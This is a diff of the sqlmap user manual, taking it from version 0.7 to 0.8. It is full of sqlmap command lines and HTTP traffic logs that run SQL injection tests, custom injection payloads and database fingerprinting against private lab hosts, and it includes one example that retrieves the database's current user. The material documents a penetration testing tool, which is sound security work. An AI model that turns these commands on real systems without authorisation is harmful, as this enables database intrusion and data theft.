+GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
 c58b3780562
 Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
 d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; 
@@ -867,10 +985,10 @@ pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=d
 pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
 do you want to test this url? [Y/n/q] n
 [hh:mm:46] [INPUT] url 2:
-GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
+GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
 Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
 do you want to test this url? [Y/n/q] y
-[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
+[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
 [hh:mm:49] [INFO] testing connection to the target url
 [hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
 [hh:mm:50] [INFO] url is stable
@@ -889,16 +1007,10 @@ do you want to test this url? [Y/n/q] y
 [hh:mm:29] [INFO] testing for parenthesis on injectable parameter
 [hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
 [hh:mm:29] [INFO] testing MySQL
-[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57))
 [hh:mm:29] [INFO] retrieved: 99
-[hh:mm:29] [INFO] performed 20 queries in 0 seconds
 [hh:mm:29] [INFO] confirming MySQL
-[hh:mm:29] [INFO] query: LENGTH(CHAR(57))
 [hh:mm:29] [INFO] retrieved: 1
-[hh:mm:29] [INFO] performed 13 queries in 0 seconds
-[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1
 [hh:mm:29] [INFO] retrieved: 9
-[hh:mm:29] [INFO] performed 13 queries in 0 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: MySQL >= 5.0.0
@@ -908,7 +1020,60 @@ back-end DBMS: MySQL >= 5.0.0
 
    
 
 
-
    Process Google dork results as target urls
    
+
    Load HTTP request from a file
    
+
+
    Option: -r
    
+
+
    One of the possibilities of sqlmap is loading of complete HTTP
+request packet stored in textual file. That way you can skip usage of
+bunch of other options.
    
+
+
    Sample content of a HTTP request file:
    
+
    
+
    
+
    +POST /sqlmap/mysql/post_int.php HTTP/1.1
+Host: 172.16.213.131
+User-Agent: Mozilla/4.0
+
+id=1
+
    
+
    
+
    
+
+
    Example usage:
    
+
    
+
    
+
    +$ python sqlmap.py -r request.txt
+
+[...]
+[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
+[...]
+[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:22] [INFO] POST parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
+[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
+[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
+[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:22] [INFO] testing MySQL
+[hh:mm:22] [INFO] confirming MySQL
+[hh:mm:22] [INFO] retrieved: 3
+[hh:mm:22] [INFO] the back-end DBMS is MySQL
+web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
+web application technology: PHP 5.2.4, Apache 2.2.8
+back-end DBMS: MySQL >= 5.0.0
+
    
+
    
+
    
+
+
+
    Process Google dork results as target addresses
    
 
 
    Option: -g
    
 
@@ -963,7 +1128,7 @@ want to test this url? [y/N/q] y
 
    It is possible to pass user's options from a configuration INI file, an
 example is sqlmap.conf.
    
 
-
    Example on a MySQL 5.0.67 target:
    
+
    Example usage:
    
 
    
 
    
 
    @@ -984,11 +1149,12 @@ the provided configuration file.
    
 
    5.3 Request
 
    
 
-
    These options can be used to specify how to connect to the target url.
    
+
    These options can be used to specify how to connect to the target
+application.
    
 
 
    HTTP method: GET or POST
    
 
-
    Options: --method and --data
    
+
    Options: --method and --data
    
 
 
    By default the HTTP method used to perform HTTP requests is GET,
 but you can change it to POST and provide the data to be sent
@@ -999,7 +1165,7 @@ tested for SQL injection like the GET parameters.
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
   --data "id=1"
 
 [hh:mm:53] [INFO] testing connection to the target url
@@ -1014,13 +1180,9 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method
 [hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
 [...]
 [hh:mm:54] [INFO] testing Oracle
-[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
 [hh:mm:54] [INFO] retrieved: 9
-[hh:mm:54] [INFO] performed 13 queries in 0 seconds
 [hh:mm:54] [INFO] confirming Oracle
-[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
 [hh:mm:54] [INFO] retrieved: 10.2.0.1.0
-[hh:mm:55] [INFO] performed 76 queries in 0 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS:    Oracle
@@ -1031,7 +1193,7 @@ back-end DBMS:    Oracle
 
 
    HTTP Cookie header
    
 
-
    Option: --cookie
    
+
    Options: --cookie, --cookie-urlencode and --drop-set-cookie
    
 
 
    This feature can be useful in two scenarios:
    
 
    
@@ -1061,7 +1223,7 @@ value to the clipboard.
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
   "id=1" -v 1
 
 [hh:mm:37] [INFO] testing connection to the target url
@@ -1079,30 +1241,31 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cooki
 
    
 
    
 
-
    Note that the HTTP Cookie header values are separated by a
-; character, not by an &.
    
+
    Note that the HTTP Cookie header values are usually separated by
+a ; character, not by an &.
    
 
-
    If the web application at first HTTP response has within the HTTP headers
-a Set-Cookie header, sqlmap will automatically use it in all HTTP
-requests as the HTTP Cookie header and also test for SQL
-injection on these values.
    
+
    If the web application at first HTTP response has a Set-Cookie
+header, sqlmap will automatically use it's value in all further HTTP
+requests as the Cookie header. sqlmap will also automatically
+test that value for SQL injection, except if you run it with
+--drop-set-cookie option.
    
 
 
    Example on a Microsoft SQL Server 2000 Service Pack 0 target:
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3
 
 [...]
 [hh:mm:39] [INFO] testing connection to the target url
 [hh:mm:39] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.125:80
+Host: 172.16.213.128:80
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 Connection: close
 
@@ -1113,12 +1276,12 @@ Connection: close
 [hh:mm:40] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.125:80
+Host: 172.16.213.128:80
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
 Cookie: ASPSESSIONIDSABTRCAS=469
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 
 [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -1135,7 +1298,7 @@ in the following HTTP requests.
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
 
 [hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
 own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
@@ -1144,61 +1307,32 @@ values that you provided? [Y/n]
 
    
 
    
 
-
-
    HTTP Referer header
    
-
-
    Option: --referer
    
-
-
    It is possible to fake the HTTP Referer header value with this
-option. By default no HTTP Referer heder is sent in HTTP
-requests.
    
-
-
    Example on a PostgreSQL 8.3.5 target:
    
-
    
-
    
-
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \
-  "http://www.google.com" -v 3
-
-[...]
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
-Accept-language: en-us,en;q=0.5
-Referer: http://www.google.com
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-
    
-
    
-
    
+
    sqlmap by default doesn't URL encode generated cookie injections, but you can force it by 
+using the --cookie-urlencode flag. Cookie content encoding is not declared
+by standard in any way, so it's solely the matter of web application's behaviour.
    
 
 
 
    HTTP User-Agent header
    
 
-
    Options: --user-agent and -a
    
+
    Options: --user-agent and -a
    
 
 
    By default sqlmap perform HTTP requests providing the following HTTP
 User-Agent header value:
    
 
    
 
    
 
    -sqlmap/0.7 (http://sqlmap.sourceforge.net)
+sqlmap/0.8 (http://sqlmap.sourceforge.net)
 
    
 
    
 
    
 
-
    It is possible to fake it with the --user-agent option.
    
+
    It is possible to fake it with the --user-agent option.
    
 
 
    Example on an Oracle XE 10.2.0.1 target:
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
   --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
 
 [...]
@@ -1206,7 +1340,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
 [hh:mm:02] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
@@ -1226,7 +1360,7 @@ and use it for all HTTP requests.
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
   -a "./txt/user-agents.txt"
 
 [hh:mm:00] [DEBUG] initializing the configuration
@@ -1242,7 +1376,7 @@ Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
 [hh:mm:00] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
@@ -1272,31 +1406,64 @@ to force the HTTP User-Agent header with option --user-agent or -a
 
    
 
 
+
    HTTP Referer header
    
+
+
    Option: --referer
    
+
+
    It is possible to fake the HTTP Referer header value with this
+option. By default no HTTP Referer header is sent in HTTP
+requests.
    
+
+
    Example on a PostgreSQL 8.3.5 target:
    
+
    
+
    
+
    +$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
+  "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
+Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
+Host: 172.16.213.131
+Accept-language: en-us,en;q=0.5
+Referer: http://www.google.com
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
+image/png,*/*;q=0.5
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
    
+
    
+
    
+
+
 
    Extra HTTP headers
    
 
-
    Option: --headers
    
+
    Option: --headers
    
 
-
    It is possible to provide extra HTTP headers by providing --headers
-options. Each header must be separated by a "\n" string and it's much easier
+
    It is possible to provide extra HTTP headers by providing --headers
+options. Each header must be separated by a newline and it's much easier
 to provide them from the configuration INI file. Have a look at the sample
 sqlmap.conf file.
    
 
 
-
    HTTP Basic and Digest authentications
    
+
    HTTP Basic, Digest and NTLM authentications
    
 
-
    Options: --auth-type and --auth-cred
    
+
    Options: --auth-type and --auth-cred
    
 
 
    These options can be used to specify which HTTP authentication type the
 web server implements and the valid credentials to be used to perfom all
-HTTP requests to the target URL.
-The two valid types are Basic and Digest and the
-credentials' syntax is username:password.
    
+HTTP requests to the target application.
+The three valid types are Basic, Digest and NTLM,
+while the credentials' syntax is username:password.
    
 
 
    Examples on a MySQL 5.0.67 target:
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
   --auth-type Basic --auth-cred "testuser:testpass" -v 3
 
 [...]
@@ -1304,17 +1471,17 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1"
 [hh:mm:14] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 
 
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
   --auth-type Digest --auth-cred "testuser:testpass" -v 3
 
 [...]
@@ -1322,7 +1489,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1
 [hh:mm:54] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
@@ -1330,7 +1497,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
 nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", 
 uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", 
 algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 
    
@@ -1338,9 +1505,30 @@ Connection: close
 
    
 
 
+
    HTTP Certificate authentication
    
+
+
    Option: --auth-cert
    
+
    This option should be used in cases when the web server requires proper user's 
+certificate for authentication. Supplied values should be in the form: key_file,
+cert_file, where key_file should be the name of a PEM formatted file that 
+contains your private key, while cert_file should be the name for a PEM formatted 
+certificate chain file.
    
+
+
    Example:
    
+
    
+
    
+
    +$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
+  --auth-cert key.pem,cert.pem
+[...]
+
    
+
    
+
    
+
+
 
    HTTP proxy
    
 
-
    Option: --proxy
    
+
    Option: --proxy and --ignore-proxy
    
 
 
    It is possible to provide an anonymous HTTP proxy address to pass by the
 HTTP requests to the target URL. The syntax of HTTP proxy value is
@@ -1350,8 +1538,8 @@ HTTP requests to the target URL. The syntax of HTTP proxy value is
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
-  --proxy "http://192.168.1.47:3128"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
+  --proxy "http://172.16.213.1:8080"
 
 [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
 [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
@@ -1372,8 +1560,8 @@ as explained on the
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
-  --proxy "http://192.168.1.47:8118"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
+  --proxy "http://172.16.213.1:8118"
 
    
 
    
 
    
@@ -1381,10 +1569,14 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
 
    Note that 8118 is the default Privoxy port, adapt it to your
 settings.
    
 
+
    The option --ignore-proxy should be used in cases like
+when you want to run sqlmap against the machine inside a local area
+network skipping default usage of a system-wide set HTTP proxy server.
    
+
 
 
    Concurrent HTTP requests
    
 
-
    Option: --threads
    
+
    Option: --threads
    
 
 
    It is possible to specify the number of maximum concurrent HTTP requests
 that sqlmap can start when it uses the blind SQL injection technique to
@@ -1396,7 +1588,7 @@ This feature relies on the
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
   --current-user --threads 3
 
 [...]
@@ -1406,12 +1598,9 @@ back-end DBMS: MySQL >= 5.0.0
 
 [hh:mm:18] [INFO] fetching current user
 [hh:mm:18] [INFO] retrieving the length of query output
-[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32))
 [hh:mm:18] [INFO] retrieved: 18
-[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32))
 [hh:mm:19] [INFO] starting 3 threads
 [hh:mm:19] [INFO] retrieved: testuser@localhost
-[hh:mm:19] [INFO] performed 126 queries in 0 seconds
 current user:    'testuser@localhost'
 
    
 
    
@@ -1424,13 +1613,13 @@ HTTP requests, the maximum requests to retrieve a query output character
 with the blind SQL injection bisection algorithm implemented in sqlmap.
    
 
 
    Note that the multithreading option is not needed if the target is affected
-by an inband SQL injection vulnerability and the --union-use
+by an inband SQL injection vulnerability and the --union-use
 option has been provided.
    
 
 
 
    Delay in seconds between each HTTP request
    
 
-
    Option: --delay
    
+
    Option: --delay
    
 
 
    It is possible to specify a number of seconds to wait between each HTTP
 request. The valid value is a float, for instance 0.5 means half a second.
    
@@ -1438,7 +1627,7 @@ request. The valid value is a float, for instance 0.5 means half a second.
    
 
 
    Seconds to wait before timeout connection
    
 
-
    Option: --timeout
    
+
    Option: --timeout
    
 
 
    It is possible to specify a number of seconds to wait before considering
 the HTTP request timed out. The valid value is a float, for instance
@@ -1447,12 +1636,29 @@ the HTTP request timed out. The valid value is a float, for instance
 
 
    Maximum number of retries when the HTTP connection timeouts
    
 
-
    Option: --retries
    
+
    Option: --retries
    
 
 
    It is possible to specify the maximum number of retries when the HTTP
 connection timeouts. By default it retries up to three times.
    
 
 
+
    Filtering targets from provided proxy log using regular expression
    
+
+
    Option: --scope
    
+
+
    Rather than using all hosts parsed from provided logs with option 
+-l, in combination with this option you can specify valid 
+python regular expression to be used for filtering desired ones.
    
+
    Example usage:
    
+
    
+
    
+
    +$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
+
    
+
    
+
    
+
+
 
    5.4 Injection
 
    
 
@@ -1460,6 +1666,7 @@ connection timeouts. By default it retries up to three times.
    
 custom injection payloads and how to parse and compare HTTP responses page
 content when using the blind SQL injection technique.
    
 
+
 
    Testable parameter(s)
    
 
 
    Option: -p
    
@@ -1474,7 +1681,7 @@ injection test and inject directly only against the provided parameter(s).
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
   -p "id"
 
 [hh:mm:48] [INFO] testing connection to the target url
@@ -1498,7 +1705,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
   -p "cat,id"
 
    
 
    
@@ -1510,8 +1717,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
-  -p "user-agent" --user-agent "sqlmap/0.7 (http://sqlmap.sourceforge.net)"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
+  -p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
 
 [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 [hh:mm:40] [INFO] testing connection to the target url
@@ -1529,16 +1736,10 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
 [hh:mm:41] [INFO] testing for parenthesis on injectable parameter
 [hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
 [hh:mm:41] [INFO] testing MySQL
-[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
 [hh:mm:41] [INFO] retrieved: 44
-[hh:mm:41] [INFO] performed 20 queries in 0 seconds
 [hh:mm:41] [INFO] confirming MySQL
-[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
 [hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
-[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
 [hh:mm:41] [INFO] retrieved: 4
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: MySQL >= 5.0.0
@@ -1549,11 +1750,11 @@ back-end DBMS: MySQL >= 5.0.0
 
 
    Force the database management system name
    
 
-
    Option: --dbms
    
+
    Option: --dbms
    
 
 
    By default sqlmap automatically detects the web application's back-end
-database manangement system.
-At the moment the fully supported database management system are four:
    
+database management system.
+At the moment, fully supported database management systems are:
    
 
    
 
      
 
    • MySQL
      • 
@@ -1566,15 +1767,15 @@ At the moment the fully supported database management system are four:
      
 
      It is possible to force the DBMS name if you already know it so that sqlmap
 will skip the fingerprint with an exception for MySQL and Microsoft SQL
 Server to only identify the version.
-To avoid also this check you can provide instead MySQL VERSION or
-Microsoft SQL Server VERSION where version is a valid version for
-the DBMS, for instance 5.0 for MySQL and 2005 for
+To avoid also this check you can provide instead MySQL <version> or
+Microsoft SQL Server <version>, where <version> is a valid version for
+the DBMS; for instance 5.0 for MySQL and 2005 for
 Microsoft SQL Server.
      
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
   --dbms "PostgreSQL"
 
 [...]
@@ -1587,7 +1788,7 @@ back-end DBMS:    PostgreSQL
 
      
 
      
 
-
      In case you provide --fingerprint together with --dbms,
+
      In case you provide --fingerprint together with --dbms,
 sqlmap will only perform the extensive fingerprint for the specified
 database management system, read below for further details.
      
 
@@ -1599,10 +1800,10 @@ automatically identify it for you.
      
 
 
      Force the database management system operating system name
      
 
-
      Option: --os
      
+
      Option: --os
      
 
 
      By default sqlmap automatically detects the web application's back-end
-database manangement system underlying operating system when requested by
+database management system underlying operating system when requested by
 any other functionality.
 At the moment the fully supported operating systems are two:
      
 
      
@@ -1623,7 +1824,7 @@ not know it, let sqlmap automatically identify it for you.
      
 
 
      Custom injection payload
      
 
-
      Options: --prefix and --postfix
      
+
      Options: --prefix and --postfix
      
 
 
      In some circumstances the vulnerable parameter is exploitable only if the
 user provides a postfix to be appended to the injection payload.
@@ -1637,7 +1838,7 @@ postfix.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
   -p "id" --prefix "'" --postfix "AND 'test'='test"
 
 [...]
@@ -1647,11 +1848,11 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id
 GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
 %28%27test%27=%27test HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 [hh:mm:17] [INFO] GET parameter 'id' is custom injectable 
@@ -1692,7 +1893,7 @@ the real world application it is necessary to provide it.
      
 
 
      Page comparison
      
 
-
      Options: --string and --regexp
      
+
      Options: --string and --regexp
      
 
 
      By default the distinction of a True query by a False one (basic concept
 for Inferential blind SQL injection attacks) is done comparing injected
@@ -1720,15 +1921,15 @@ every second due to a call to PHP function time():
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
   -v 5
 
 [...]
 [hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
 [hh:mm:50] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Host: 172.16.213.131
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 
 [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1749,8 +1950,8 @@ Content-Type: text/html
 
 [hh:mm:51] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Host: 172.16.213.131
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 
 [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1771,8 +1972,8 @@ Content-Type: text/html
 
 [hh:mm:51] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Host: 172.16.213.131
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 
